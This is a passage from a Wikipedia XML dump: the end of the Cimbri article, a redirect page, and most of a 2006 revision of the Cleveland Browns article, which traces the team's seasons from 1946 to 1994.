The Cimbri are depicted as ferocious warriors who did not fear death. The host was followed by women and children on carts. Aged women dressed in white (see [[Völva]]) sacrificed the prisoners of war and sprinkled their blood (see [[Blót]]), the nature of which allowed them to see what was to come.

==See also==
*[[Cimmerians]]
*[[Sugambri]]

[[Category:Ancient Germanic peoples]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Ethnic groups in Europe]]
[[Category:Pre-Roman Iron Age]]

[[da:Kimbrer]]
[[de:Kimbern]]
[[fr:Cimbres]]
[[lt:Kimbrai]]
[[nl:Cimbren]]
[[pl:Cymbrowie]]
[[ru:Кимвры]]
[[fi:Kimbrit]]</text>
    </revision>
  </page>
  <page>
    <title>Cimbri/Waid</title>
    <id>6573</id>
    <revision>
      <id>15904706</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>JHK</username>
        <id>29</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Widewuto]]</text>
    </revision>
  </page>
  <page>
    <title>Cleveland Browns</title>
    <id>6576</id>
    <revision>
      <id>42138178</id>
      <timestamp>2006-03-04T01:52:59Z</timestamp>
      <contributor>
        <username>Phbasketball6</username>
        <id>851404</id>
      </contributor>
      <comment>/* Not to be forgotten */</comment>
      <text xml:space="preserve">{{redirect|Browns}}
{{NFL team | name = Cleveland Browns
| founded = 1946
| city = Cleveland, Ohio
| colors = Brown, Orange, and White
| coach = [[Romeo Crennel]]
| owner = [[Randy Lerner]]
| general manager = [[Phil Savage]]
| mascot = CB, Chomps, TD, and Trapper
| stations = [[WMMS]] (100.7) and [[WTAM]] (1100 AM)
| announcers = Doug Dieken, Jim Donovan, Mike Snyder, Casey Coleman, and Andre Knot
| hist_yr = 1999
| hist_misc =
* Cleveland Browns (1946-1995)
* ''Suspended operations'' (1996-1998)
| affiliate_old =
[[All-America Football Conference]] (1946-1949)
*Western Division (1946-1948)
| NFL_start_yr = 1950
| division_hist =
*American Conference (1950-1952)
*Eastern Conference (1953-1969)
**Century Division (1967-1969)
*'''[[American Football Conference]] (1970-present)'''
**[[AFC Central]] (1970-1995; 1999-2001)
**'''[[AFC North]] (2002-present)'''
| no_league_champs = 8
| no_conf_champs = 11
| no_div_champs = 10
| league_champs =
*'''[[All-America Football Conference|AAFC Championships]] (4)'''&lt;br&gt;1946, 1947, 1948, 1949
*'''[[List of NFL champions|NFL Championships]] (4)'''&lt;br&gt;1950, 1954, 1955, 1964
| conf_champs =
*'''NFL American:''' 1950, 1951, 1952
*'''NFL Eastern:''' 1953, 1954, 1955, 1957, 1964, 1965, 1968, 1969
| div_champs =
*'''NFL Century:''' 1967, 1968, 1969
*'''AFC Central:''' 1971, 1980, 1985, 1986, 1987, 1989
| stadium_years =
*[[Cleveland Stadium|Cleveland Municipal Stadium]] (1946-1995)
*'''[[Cleveland Browns Stadium]] (1999-present)'''
}}

The '''Cleveland Browns''' are a professional [[American football]] team based in [[Cleveland, Ohio]]. They currently belong to the [[AFC North|Northern Division]] of the [[American Football Conference]] (AFC) in the [[National Football League]] (NFL). The Browns began play in 1946 as a charter member of the [[All-America Football Conference]] and joined the NFL in 1950 after the AAFC merged into the older league. The team has won 4 AAFC titles and 4 [[List of NFL champions|NFL Championships]].

In some accounts, there may be confusion regarding the team's history due to unusual and unprecedented actions taken by the city of Cleveland and the NFL in 1996. On [[November 6]], [[1995]], then-Browns owner [[Art Modell]] announced his intention to move the team to Baltimore, citing the inadequacy of  [[Cleveland Stadium]] and the lack of a sufficient replacement along with his heavy debt. The decision triggered a flurry of legal activity that ended when representatives of Cleveland and the NFL reached a settlement on [[February 8]], [[1996]]. It stipulated that the Browns' name, colors, and history of the franchise were to remain in Cleveland. A reactivated Cleveland Browns team would then begin play in 1999 in the AFC Central Division, while the relocated club would technically and legally be a new [[expansion team]], the [[Baltimore Ravens]].{{ref|baltsun}}

For that reason, past records and [[Pro Football Hall of Fame]] players are attributed to the Browns and not to the Ravens. However, some incorrectly consider the Ravens and the pre-1995 Browns organization as one continuous entity since Art Modell retained the player and personnel contracts for his franchise, using terms like &quot;The Modell organization&quot; or &quot;Art Modell's franchise&quot; to denote it. {{ref|Modellorg}} (See the Franchise History section below for full details of the move.)

:'''Uniform colors:''' Brown (officially &quot;Seal Brown&quot;) and Orange
:'''Helmet design:''' Orange helmet with brown and white center stripe. No logo (for one preseason game in 1965 the initials &quot;CB&quot; in brown appeared on each side).

==Franchise history==
===Early days in the AAFC===
[[Image:ClevelandBrowns_100.png|left|frame|The Browns are the only team in the [[NFL]] that does not have a logo on their helmet]]
The Cleveland Browns were founded in 1946 under owner [[Arthur McBride|Arthur 'Mickey' McBride]]. The team was to be named the Cleveland Panthers, but a semi-pro team was using that name and threatened to sue if the AAFC club used it as well.  McBride then named the team after its first head coach, [[Paul Brown]].  Brown was uncomfortable with the idea of having the team named after him, stating publicly that the team was named after [[boxing]] champion [[Joe Louis]] who was known as the &quot;Brown Bomber.&quot;  

In either event, the Browns were extremely successful in the early part of their existence, dominating the new [[All-America Football Conference]], winning all four of its championships including with a landmark 1948 season in which they went unbeaten and untied - 24 years before the NFL's 'first' perfect team, the 1972 [[Miami Dolphins]]. Cleveland's undefeated streak (including ties) reached 29 games including 18 straight wins.

===1950-56: NFL dominance===
After the 1949 season the [[All-America Football Conference|AAFC]] merged with the rival [[National Football League]], with the Browns joining the [[San Francisco 49ers]] and [[Baltimore Colts]] as members of the older circuit.

Despite the change in leagues and what many football fans saw as a graduation to &quot;the big league,&quot; the Browns continued their dominant position among pro football teams, appearing in the next six NFL championship games, and capturing three championships during the 1950s.

The Browns won the championship in their first season in the NFL, 1950, behind the quarterbacking of [[Otto Graham]], the rushing of [[Marion Motley]], the receiving of [[Mac Speedie]], a defensive line anchored by [[Bill Willis]] and a secondary featuring [[Tommy James]]. Cleveland tore up the NFL in the regular season, going 10-2 with both losses being to the [[New York Giants]]. The Browns first regular season game was on the road against the defending NFL Champion Philadelphia Eagles as the schedule makers intended to give the Browns an immediate comeuppance. Cleveland won the game in dominant fashion, 35-10. The Browns defeated the Giants 8-3 in a tiebreaking playoff game and then came from behind in the fourth quarter beat the [[Los Angeles Rams]] 30-28 in the league championship in Cleveland.

Cleveland again tore through the NFL in the 1951 season, going 11-1 with four shutouts along the way. The NFL championship was a rematch with the Rams, in Los Angeles this time, and went back-and-forth until the fourth quarter when [[Norm van Brocklin]] threw a 73-yard touchdown to [[Tom Fears]] to put Los Angeles in the lead for good. The 24-17 loss was the first in a championship game in Browns history.

The 1952 regular season was not as successful, with only an 8-4 finish and Graham throwing 24 interceptions. Second-year player [[Ray Renfro]] became a star with 722 yards receiving and 322 yards rushing. But it was still good enough to win the division, and thus put the Browns in the NFL championship game against the [[Detroit Lions]]. A muffed punt, several defensive stands and a 67-yard touchdown run by [[Doak Walker]] all combined to help the Lions win 17-7, frustrating the Browns for the second consecutive year. 

[[Image:Browns 1950 Logo.GIF|thumb|right|The &quot;Brownie Elf&quot; mascot]]
The 1953 team started the season by winning 11 straight games. They would not win any more. A loss to the [[Philadelphia Eagles]] in the final week led into a rematch with the Lions in the NFL championship. The game was much closer than the year before, with the game tied at 10 going into the final quarter. [[Lou Groza]] kicked two field goals to put Cleveland up 16-10, but Detroit's [[Bobby Layne]] threw a 33-yard touchdown pass to [[Jim Doran]] with under two minutes left to win 17-16, and break Cleveland hearts for a third straight year.

In 1954, the Browns finished 9-3 and met up with Detroit in the finals for the third year in a row. This time, however, the Browns went on a relentless attack on both sides of the ball, intercepting Bobby Layne six times and forcing three fumbles, while [[Otto Graham]] threw three touchdowns and ran for three more, en route to a 56-10 thrashing.

The 1955 campaign was also a successful one for the Browns. [[Chuck Noll]] (who ironically would later gain fame as head coach of the rival [[Pittsburgh Steelers]]) had a productive season at linebacker, with five interceptions. Graham passed for 15 touchdowns and ran for six more in his final season before retiring due to injuries. The Browns, who finished 9-2-1, once again made the championship, this time against the [[Los Angeles Rams]]. They were no less dominant than they were the previous season, again forcing six interceptions out of quarterback [[Norm van Brocklin]], one of which was returned for a touchdown by [[Don Paul]]. Graham also passed for two touchdowns and ran for two more as the Browns won 38-14.

Without Graham behind center, the Browns floundered in 1956. Three quarterbacks ([[George Ratterman]], [[Babe Parilli]] and [[Tommy O'Connell]]) were used through the season, none of whom threw more touchdowns than interceptions. The 5-7 record meant the Browns were shut out of the championship game for the first time in team history.

===1957-65: The Jim Brown years===
The Browns responded in 1957 when they drafted fullback [[Jim Brown]], who easily became the NFL's leading rusher (and [[NFL Rookie of the Year]]) with 942 yards.  Once again at the top of the division at 9-2-1, they advanced back to the championship game against their nemeses from Detroit. But the Lions dominated from start to finish, causing six turnovers and allowing the Browns' two quarterbacks ([[Tommy O'Connell]] and [[Milt Plum]]) only 95 yards passing in a 59-14 rout.

In 1958 Jim Brown ran for 1527 yards, almost twice as much as any other running back. In his nine seasons in the league, he crossed the 1000-yard barrier seven times. The only snag in their getting back to another championship was the [[New York Giants]]. They lost to New York on the last week of the season after a spirited fourth-quarter comeback, then, due to their equal 9-3 records, faced the Giants again in a tiebreaker game with the winner going to the finals. This one was never in doubt: Jim Brown was limited to 8 yards and the team committed four turnovers as they were shut out 10-0.

In 1959 the Browns started 6-2 but finished 7-5, out of championship contention, despite Brown once again leading the league in rushing with 1329 yards. In 1960, Plum threw for 21 touchdowns and Brown's 1257 yards was still best in the NFL, but the team still finished second at 8-3-1.

[[Art Modell]], whose controversial decisions in later years led to the team's original demise, purchased the team in 1961. The season otherwise was typical: a fifth consecutive league-leading season from Jim Brown and a half-decent performance in the standings, but again, at 8-5-1, they were two games out of a berth in the championship.

====1962====
Milt Plum landed with the Lions in 1962, so [[Frank Ryan (football player)|Frank Ryan]] and [[Jim Ninowski]] shared quarterbacking duties. Jim Brown fell to fourth in the NFL rushing list, but the team's 7-6-1 record once again placed them third in the Eastern Division. 

Sadly, the team's first-round draft pick that year, [[Heisman Trophy]] winner [[Ernie Davis]], was diagnosed with [[leukemia]] during the preseason.  The only time he took the field at Cleveland Stadium would be when he was introduced during the [[August 18]] doubleheader exhibition game.  His loss was especially costly, since the team had been forced to trade future Hall of Famer [[Bobby Mitchell]] in order to acquire him.

====1963====
[[Paul Brown]], the only coach the Browns had ever known (and the team's namesake), was fired on [[January 9, 1963]] and replaced with [[Blanton Collier]].  Brown's dismissal was controversial not only because he had been the cornerstone of the franchise since its inception, but also due to the fact that Modell fired him in the midst of a Cleveland newspaper strike, allowing for limited local media attention.

A series of tragedies during the off-season also proved to be devastating: 1963 draft choice [[Tom Bloom]] was killed in a car accident in January; Davis lost his battle with [[leukemia]] on [[May 18]]; and defensive back [[Don Fleming]] was electrocuted on [[June 4]] while working in Florida.

Despite these blows, the team improved in 1963, led by [[Jim Brown]]'s NFL record 1,863 yards rushing, a mark that would stand for the next decade, until [[O.J. Simpson]] broke it in 1973.  The team's passing attack also flourished with 25 touchdown passes from [[Frank Ryan]], including a team-record 13 to second-year wideout [[Gary Collins]]. 

The season began with six straight victories, including an impressive 35-24 decision on [[October 13]] at [[Yankee Stadium]] over the defending Eastern Conference champion New York Giants.  Two weeks later, the Giants returned the favor with an embarrassing 33-6 victory at [[Cleveland Stadium]].  After two losses in their next three games eroded the team's momentum, they bounced back with a 27-10 win over Dallas and a 24-10 victory against the Cardinals.  The first game took place just two days after the [[John F. Kennedy]] [[assassination]], and was noteworthy for both the somber atmosphere and avoidance of any reference to the city of Dallas by the [[Cleveland Stadium]] public address announcer.

Despite those wins, a 38-10 loss at Detroit on [[December 8]] put an end to the team's postseason hopes, with the 10-4 season record a game behind the Giants.  The team also dropped a 40-23 decision to the [[Green Bay Packers]] in the [[Playoff Bowl]].

====1964====
The Browns reached the top again in 1964 as rookie [[Paul Warfield]] caught 52 passes for 920 yards and nine touchdowns, Ryan threw for 2,400 yards and 25 scores and Brown once agin led the league in rushing with 1,446 yards. 

The team was 3-0-1 in its first four games, the tie coming in a thrilling 33-33 deadlock against the St. Louis Cardinals on September 20.  The first loss came at the hands of the Pittsburgh Steelers on October 10, mainly due to the efforts of future Hall of Famer John Henry Johnson, who rushed for more than 200 yards.  After six wins in their next seven games, the Browns missed the chance to clinch the Eastern Conference by dropping a 28-19 decision at St. Louis on December 6.  However, before a national television audience six days later, the Browns convincingly captured their conference title with a 52-20 win over the [[New York Giants]].  The title earned them a spot in the NFL Championship game after a seven-year absence. 

Oddsmakers made their opponents, the [[Baltimore Colts]], seven-point favorites, but the teams left the field after one half of play locked in a scoreless duel. [[Lou Groza]]'s field goal gave the Browns a 3-0 lead, with the duo of quarterback [[Frank Ryan]] and wide receiver [[Gary Collins]] completing the upset by connecting on three touchdown passes, winning 27-0.  The title marks the last championship by any major Cleveland sports team, as of 2005. 

====1965====
The 1965 team finished 11-3 after Brown rushed for 1,544 yards, caught 34 passes and scored 21 touchdowns, once again leading the league in rushing yardage.  Those numbers resulted in Brown winning the [[Most Valuable Player]] award from the league. 

The team's passing attack was hindered in the preseason with a major injury to wide receiver [[Paul Warfield]], who missed much of the campaign as a result.  However, after shaking off an early-season 49-13 loss to St. Louis, the Browns won nine of their next 10 games, clinching the Eastern Conference with a 24-16 win over the [[Washington Redskins]] on [[December 5]].  

Cleveland once again made the [[NFL Championship game]], this time against the [[Vince Lombardi]]-led [[Green Bay Packers]].  In the days leading up to the contest, the Browns seemed in prime position to win another title as Packer quarterback [[Bart Starr]] and running back [[Jim Taylor]]'s health made them questionable for the game. 

When an early-morning snowstorm on the day of the game turned the field into a muddy mess, the Packers' reliance on their powerful running game proved to be a major factor in the game.  Early on, Starr and Green Bay wideout [[Carroll Dale]] connected for the first score, aided by Browns defender [[Walter Beach]] slipping on the muddy field.  Despite the slow start, Cleveland only trailed 13-12 at halftime, but only had the ball for 16 plays after intermission as the Packers pulled away with a [[Paul Hornung]] touchdown to win 23-12.

===1966-73: Playoff disappointments===
As training camp was beginning in July  1966, Jim Brown shocked the Browns, their fans and the NFL by announcing his retirement.  Brown, who had been filming the movie ''The Dirty Dozen'' in London, was irritated by Browns' owner [[Art Modell]]'s threats of fines for not reporting for training camp and simply retired. [[Leroy Kelly]] became the Browns' new rushing threat for the 1966 season, ably filling Brown's shoes with the first of his three consecutive 1000-yard seasons. [[Frank Ryan]]'s 29 touchdowns also led the league. Entering the final month of the regular season, the Browns had remained in contention, but a costly 26-14 loss in a [[Thanksgiving Day]] game at Dallas put a major dent in their postseason hopes. Blanton Collier's squad placed one game behind the Cowboys with a 9-5 mark and missed the league championship game for the first time in three years.

The 1967 Browns began the season with two losses, defeats that were quickly forgotten with nine wins in the next 11 contests to help the team finish at 9-5 for the second consecutive year.  Unlike the previous season, the NFL's new realignment made that record good enough for first place in the short-lived [[Century Division]], and a spot in the new Eastern Conference championship against the Cowboys. Unfortunately, the game between the two squads was over quickly as [[Don Meredith]] passed for two touchdowns, [[Dave Baynham]] ran for three and [[Bob Hayes]] generally made the Browns' life miserable on special teams as the Cowboys annihilated the Browns 52-14.

Following another slow start in 1968 Ryan was out at quarterback, in favor of [[Bill Nelsen]], who had been acquired from the [[Pittsburgh Steelers]] in the offseason. In their October 20 game against the undefeated Baltimore Colts, the heavy underdog Browns stunned their opponents with a 30-20 win, sparking an eight-game winning streak.  Nelsen's main target was fifth-year receiver [[Paul Warfield]], who had the best season of his career, with 1067 yards and 12 touchdowns. The team finished the regular season with a 10-4 mark, good enough for another first-place finish and a rematch with Dallas in the Eastern Conference final. After four consecutive losses to their Texas opponents, the Browns ended their frustration by not allowing the Cowboys an offensive touchdown until the final minute.  [[Leroy Kelly]]'s two long runs for scores paced the offense, with the turning point in a 31-20 victory coming on [[Dale Lindsey]]'s return of a Don Meredith interception for a touchdown early in the second half. Cleveland advanced to the [[NFL Championship]] against the [[Baltimore Colts]].  [[Don Cockroft]] had an early field goal blocked, and the Browns would not have another chance to score again. [[Tom Matte]] ran for three touchdowns as the Colts shut out the Browns 34-0 to advance to [[Super Bowl III]].

The 1969 season produced similar results. Nelsen threw 2700 yards and 23 touchdowns (both career highs), and Warfield and [[Gary Collins]] both had at least ten touchdown catches. The team finished 10-3-1, again best in the Century Division, and once again played the Cowboys in the conference final. Nelsen threw for 219 yards and [[Walt Sumner]] returned an interception 88 yards for a touchdown as the Browns took their second straight Eastern championship by the score of 38-14. But the NFL Championship Game was another disappointment for the Browns. [[Joe Kapp]] of the [[Minnesota Vikings]] scored on the team's first possession and another rout began. The Vikings went up 20-0 by halftime and ended up winning 27-7.

The 1970 [[AFL-NFL merger]] would see the Browns, [[Pittsburgh Steelers]] and [[Baltimore Colts]] move to the new [[American Football Conference]] aligned with the 10 teams of the [[American Football League]]. While the realignment would greatly benefit the Steelers, the placement of the Browns into the AFC's Central Division would not be as good. The trade of [[Paul Warfield]] to the [[Miami Dolphins]] for a draft choice used on Purdue All American Mike Phipps did not help the Browns either. After defeating the [[New York Jets]] in the first-ever broadcast of [[Monday Night Football]], the Browns stumbled through the season finishing 7-7.

Coach [[Blanton Collier]] was replaced with [[Nick Skorich]] before the 1971 season. The Browns improved to 9-5, and a first-place finish in the AFC Central. This placed them in the divisional playoff against the [[Baltimore Colts]]; but much like their matchup three years earlier, the game went ugly early. Backup Colts running back [[Don Nottingham]] scored two first-half touchdowns, and it was all Baltimore would need. The Browns season ended in another 20-3 disappointment.

[[Mike Phipps]] was promoted to starting quarterback over Nelsen before the 1972 season. After a sluggish start, the Browns went on an 8-1 tear.  That surge was highlighted by late comeback victories against the San Diego Chargers and Pittsburgh Steelers and a playoff-clinching victory at Cincinnati. A 10-4 mark earned them the AFC wild card berth and put them in a divisional playoff against the undefeated [[Miami Dolphins]]. The Browns took a lead in the fourth-quarter on a [[Fair Hooker]] touchdown catch, but [[Jim Kiick]] preserved the Dolphins' perfect season with a late touchdown run for the 20-14 decision.

In 1973, Phipps threw 20 interceptions to just nine touchdowns, and no rusher had more than 600 yards. After winning four of their first six games, the Browns slumped before bouncing back with a trio of victories, the last one a dramatic last-minute victory over the Pittsburgh Steelers on November 25.  The following week, a fourth quarter rally salvaged a 20-20 tie against the Kansas City Chiefs, but a playoff berth evaporated the following week with a 34-17 loss against the Cincinnati Bengals.  Cleveland ended the year at 7-5-2, good for third place in the division. Defensive lineman [[Jerry Sherk]], made the first of four consecutive trips to the NFL [[Pro Bowl]].

===1974-84: The Kardiac Kids===
The Browns' era of success came to a crashing halt as the team dropped to 4-10 in 1974. Neither Phipps nor rookie QB [[Brian Sipe]] were effective, throwing 24 combined interceptions to only 10 touchdowns. The Browns allowed 344 points, most in the league. It was the first losing season in franchise history and head coach [[Nick Skorich]] saw his tenure with the team end as a result of the collapse. 

Assistant coach and former Green Bay Packer offensive lineman [[Forrest Gregg]] took over in 1975, but the bad fortunes of the team remained with an 0-9 start that finally came to an end on November 23 in a 35-23 comeback victory over the [[Cincinnati Bengals]].  Three weeks later, third-year running back [[Greg Pruitt]] paced the team with 214 yards rushing in a rout over the [[Kansas City Chiefs]], helping the team finish the season 3-11.

Cleveland showed marked improvement with a 9-5 mark in 1976 as [[Brian Sipe]] firmly took control at quarterback.  Sipe had been inserted into the lineup after a [[Mike Phipps]] injury in the season-opening win against the [[New York Jets]] on September 12.  After a 1-3 start brought visions of another disastrous year, the Browns jolted the two-time defending Super Bowl champion Pittsburgh Steelers with an 18-16 victory on October 10.  Third-string quarterback [[Dave Mays]] helped lead the team to that victory, while defensive end [[Joe Jones]]' pile-driving sack of quarterback [[Terry Bradshaw]] fueled the heated rivalry between the two teams.  That win was the first of eight in the next nine weeks, helping put the Browns in contention for the AFC playoffs. A loss to the [[Kansas City Chiefs]] in the regular season finale cost them a share of the division title, but running back [[Greg Pruitt]] continued his outstanding play by rushing for exactly 1000 yards, his second-straight four-digit season. 

The Browns continued to roll in the first half of the [[1977 NFL season]], but an injury to [[Brian Sipe]] by [[Pittsburgh Steelers|Pittsburgh]]'s [[Jack Lambert (American football player)|Jack Lambert]] on [[November 13]] proved to be disastrous. Cleveland won only one of their last five games to finish at 6-8, a collapse that led to [[Forrest Gregg]]'s dismissal before the final game of the season.  [[Dick Modzelewski]] served as interim coach in the team's 20-19 loss to the [[Seattle Seahawks]].

On [[December 27]], [[1977]],[[Sam Rutigliano]] was named head coach, and aided a healthy Sipe in throwing 21 touchdowns and garnering 2900 yards during the [[1978 NFL season]]. [[Greg Pruitt]] and [[Mike Pruitt]] led a rushing attack that gained almost 2500 yards, but problems with the team's dismal pass defense resulted in the Browns finishing 8-8 on the year.

The 1979 campaign started with four consecutive wins, three of which were in the final minute or overtime. Four more games were won by less than a touchdown. This penchant for playing close games would later earn them the nickname &quot;[[Kardiac Kids]]&quot;. Sipe threw 28 touchdown passes, tying him with [[Steve Grogan]] of [[New England Patriots|New England]] for most in the league, but his 26 interceptions also led the league. Mike Pruitt had a Pro Bowl season with his 1294 rushing yards, while the defense was still shaky, ranking near the bottom in rushing defense. The team finished 9-7, behind division rivals [[Houston Oilers|Houston]] and [[Pittsburgh Steelers|Pittsburgh]] in a tough AFC Central.

The 1980 season is still fondly remembered by Browns fans. After splitting the first six games by going 3-3, the Browns won three straight games with fourth-quarter comebacks, and stopped a late comeback by the [[Baltimore Colts]] to win a fourth. The Browns won two more games in that fashion by the end of the season, and even lost a game to the [[Minnesota Vikings]] on the last play when a [[Hail Mary pass]] was tipped into the waiting hands of [[Ahmad Rashad]]. Sipe passed for 4000 yards and 30 touchdowns (enough for him to be named the [[NFL MVP]]), behind an offensive line that sent three members to the [[Pro Bowl]]: [[Doug Dieken]], [[Tom DeLeone]] and [[Joe DeLamielleure]]. The &quot;Kardiac Kids&quot; name stuck. A fourth-quarter field goal by [[Don Cockroft]] in the final game against the [[Cincinnati Bengals]] helped the Browns capture the division with an 11-5 mark, with the [[Oakland Raiders]] their opponent in the team's first playoff game in eight years. However, a heartbreaking end of this dramatic season came in the closing seconds when Sipe called what became known as &quot;[[Red Right 88]]&quot; and passed toward the end zone, only to watch Oakland's [[Mike Davis (football player)|Mike Davis]] intercept the ball. The Raiders went on to win the [[Super Bowl]], and &quot;[[Red Right 88]]&quot; has been cursed by Cleveland sports fans ever since.

If 1980 was a dream season, then 1981 was a nightmare. Sipe threw only 17 touchdowns, while being picked off 25 times. The Browns went 5-11, and few of their games were particularly close. Tight end [[Ozzie Newsome]], their only Pro Bowler, had 1002 yards receiving for six touchdowns.

In 1982 [[Brian Sipe]] split quarterbacking duties with [[Paul McDonald]], and both put up similar numbers. The Browns had little success rushing or defending against it, finishing in the bottom five teams in both yardage categories. Despite going 4-5, Cleveland was able to make the playoffs due to an expanded playoff system in the strike-shortened year. They were matched up with the Raiders in the playoffs, but were easily defeated 27-10.

Sipe and the Browns got some of their spark back in 1983. Sipe had 26 touchdown passes and 3566 yards, while [[Mike Pruitt]] ran for 10 scores on 1184 yards. Cleveland even won two games in overtime and another in the fourth quarter. A fourth-quarter loss to the [[Houston Oilers]] in their second-to-last game dashed their playoff hopes. At 9-7 the Browns finished one game behind the Steelers, and lost out on a wild-card spot due to a tiebreaker.

1984 was a rebuilding year. Brian Sipe defected to the upstart [[USFL]] after the 1983 season, and [[Paul McDonald]] was named the starting quarterback. [[Mike Pruitt]] missed much of the season and later ended up on the [[Buffalo Bills]]. Coach [[Sam Rutigliano]] lost his job after a 1-7 start as [[Marty Schottenheimer]] took over. The Browns coasted to a 5-11 record.

===1985-90: The Bernie Kosar years===
In [[1985 NFL season|1985]], the Browns selected University of Miami quarterback [[Bernie Kosar]] in the Supplemental Draft.  Under Schottenheimer and with Kosar at quarterback, the Browns enjoyed noteworthy success, reaching the playoffs each of the next five seasons, advancing to the AFC championship game three of those years.  

Kosar took over midway through the 1985 season from [[Gary Danielson]] and turned the struggling season around, winning four of his six regular season starts. Two young rushers, [[Earnest Byner]] and [[Kevin Mack]], ran for 1000 yards. Their 8-8 record won them the top spot in a weak AFC Central, and nearly shocked the [[Miami Dolphins]] in the divisional playoff before [[Dan Marino]] led a spirited second-half comeback to win 24-21. 

The Browns broke through into the ranks of the NFL elite with a 12-4 showing in [[1986 NFL season|1986]], behind Kosar's 3854 yards passing and a defense with four Pro Bowlers ([[Chip Banks]], [[Hanford Dixon]], [[Bob Golic]] and [[Frank Minnifield]]). With the best record in the AFC, the Browns clinched home-field advantage throughout the playoffs. They needed it. In the divisional playoff, the [[New York Jets]] were leading 20-10 with less than four minutes to play and the Browns driving when [[Mark Gastineau]] was called for roughing the passer on a 3rd-and-24 play. The penalty gave Cleveland a first down and the drive ended with a [[Kevin Mack]] touchdown run. The Jets went [[three-and-out]], and the Browns again drove the length of the field. A [[Mark Moseley]] field goal tied it with 11 seconds left, and the game went to overtime. Moseley missed another field goal in the extra frame, and the game then went to double overtime. His second chance was good and the Browns won 23-20, in the second-longest game in NFL history.

The AFC Championship game was against the [[Denver Broncos]], a team that would prove to be Cleveland's nemesis in this era. Like the week before, it was a heart-stopper that went to overtime. But this time, it was [[John Elway]] and the Broncos who came away the victors. Elway led a 98-yard touchdown drive (now often referred to as simply &quot;[[The Drive]]&quot;) in the final five minutes, ended with a 5-yard pass to [[Mark Jackson (football)|Mark Jackson]] that tied the game at 20-20. [[Rich Karlis]] won the game for Denver with a field goal early in overtime.

The Browns success was replicated in [[1987 NFL season|1987]], with 22 touchdown passes and 3000 yards for Kosar, and  eight Pro Bowlers: Kosar, Mack, Dixon, Golic, Minnifield, [[linebacker]] [[Clay Matthews]], [[wide receiver]] [[Gerald McNeil]] and [[offensive line]]man [[Cody Risien]]. At 10-5, the Browns won the AFC Central again. Cleveland easily defeated the [[Indianapolis Colts]] 38-21 in the divisional playoff and travelled to Denver for a rematch with the Broncos in the AFC Championship. With the score 21-3 in favor of the Broncos at halftime, Kosar led a third-quarter comeback with two touchdowns by [[Earnest Byner]] and another by [[Reggie Langhorne]]. Early in the fourth quarter, [[Webster Slaughter]]'s 4-yard touchdown catch tied it at 31-31. The Broncos regained the lead with a 20-yard [[Sammy Winder]] touchdown with under five minutes to go, setting the stage for another Browns comeback...or so they thought. Kosar drove the Browns to the Broncos' 8 yard line with 1:12 to go, and handed off to Byner. When it looked like he had an open route to the end zone, he was stripped of the ball by [[Jeremiah Castille]]. The Broncos recovered what became known as &quot;[[The Fumble]]&quot;. After taking a safety, the Broncos shocked the Browns again, 38-33.

Injuries to Kosar and two of his backups sidelined them for much of the [[1988 NFL season|1988]] season, but the Browns still finished 10-6. A final-week comeback victory in a snowstorm at [[Cleveland Stadium]] over the [[Houston Oilers]] clinched them a wild-card playoff spot, and a home game rematch against the Oilers in the first round. After [[Mike Pagel]], in for Kosar, threw a touchdown pass to [[Webster Slaughter]] late in the fourth quarter to pull the Browns within a point at 24-23, the Browns had three chances to recover an [[onside kick]] (due to penalties), but the Oilers recovered and stopped the Cleveland comeback.

Coach [[Marty Schottenheimer]] left the Browns by mutual agreement with Modell shortly after the loss to the Oilers. Modell was tired of losing in the playoffs and Schottenheimer was tired of what he perceived as Modell's interference with his coaching personnel and game strategy. Schottenheimer was quickly hired by the [[Kansas City Chiefs]] for the [[1989 NFL season|1989]] season. [[Bud Carson]] was his replacement in Cleveland, but his tenure was short - only one and a half years. The 1989 season, headlined by Slaughter's Pro Bowl-worthy 1236 yards receiving, was a success at 7-3 until a 10-10 tie with Schottenheimer's Chiefs in November led to a 3-game losing streak. Two comeback wins over the [[Minnesota Vikings]] and Houston Oilers in the season's final two weeks kept them in the playoff race. The tie ended up being the Browns' saving grace, with their 9-6-1 record winning them the AFC Central title and first-round bye over the Oilers and [[Pittsburgh Steelers]] at 9-7. The Browns narrowly survived a scare from the [[Buffalo Bills]] in their divisional playoff game, when [[Scott Norwood]] missed an extra point that would have pulled Buffalo within 3 points and, later, when [[Jim Kelly]]'s desperation pass to the [[end zone]] on the final play of the game was intercepted. 

Cleveland's 34-30 win set them up for a rematch with the Broncos in Denver for the AFC Championship. While their two previous matchups went down to the wire, this one was never in doubt. The Broncos led from start to finish, and a long Elway touchdown pass to Sammy Winder put the game way in the fourth quarter. Denver easily won 37-21. 

In [[1990 NFL season|1990]] things began to unravel. Kosar threw more interceptions (15) than touchdowns (10) for the first time in his career; and the team finished last in the league in rushing offense, and near the bottom in rushing defense. Carson was fired after a 2-7 start, and the team finished 3-13, second-worst in the league. After the season [[Bill Belichick]], defensive coordinator of the then-[[Super Bowl]] champion [[New York Giants]], was named head coach, setting off a chain of events that some fans believe led to the demise of the original franchise.

===1991-95: Bill Belichick and Modell's move===
The Browns saw minimal improvement under Belichick in [[1991 NFL season|1991]], finishing 6-10 behind an improved performance by Kosar (18 touchdowns, 9 interceptions) and a breakout season for second-year running back [[Leroy Hoard]].

In [[1992 NFL season|1992]], with Kosar sitting out much of the season and [[Mike Tomczak]] in under center, Cleveland was in the thick of the AFC Central race before dropping their final three games to finish 7-9.   

The Browns were split by turmoil in [[1993 NFL season|1993]], when Belichick made the controversial decision of benching Bernie Kosar in favor of [[Vinny Testaverde]], who had been signed from the [[Tampa Bay Buccaneers]]. The immensely popular Kosar was later released by the team, prompting a heated reaction from fans, mostly aimed at Belichick. After Kosar's release, Cleveland won only two of its final nine games and finished with the same 7-9 record that they did in 1992.

Cleveland righted the ship in [[1994 NFL season|1994]], despite fans still calling for Belichick's head. Testaverde finished with a subpar year in which he threw 18 interceptions to 16 touchdowns, but the defense led the league in yards allowed per attempt and sent four players to the Pro Bowl ([[Rob Burnett (football player)|Rob Burnett]], [[Pepper Johnson]], [[Michael Dean Perry]] and [[Eric Turner]]). The Browns finished 11-5 and made the playoffs for the first time in four seasons. In the wild card round against the [[New England Patriots]], the Browns' defense picked off [[Drew Bledsoe]] three times, with Testaverde completing two-thirds of his passes, to win 20-13. The arch-rival [[Pittsburgh Steelers]] ended the Browns' season in the divisional playoff with a 29-9 blowout.

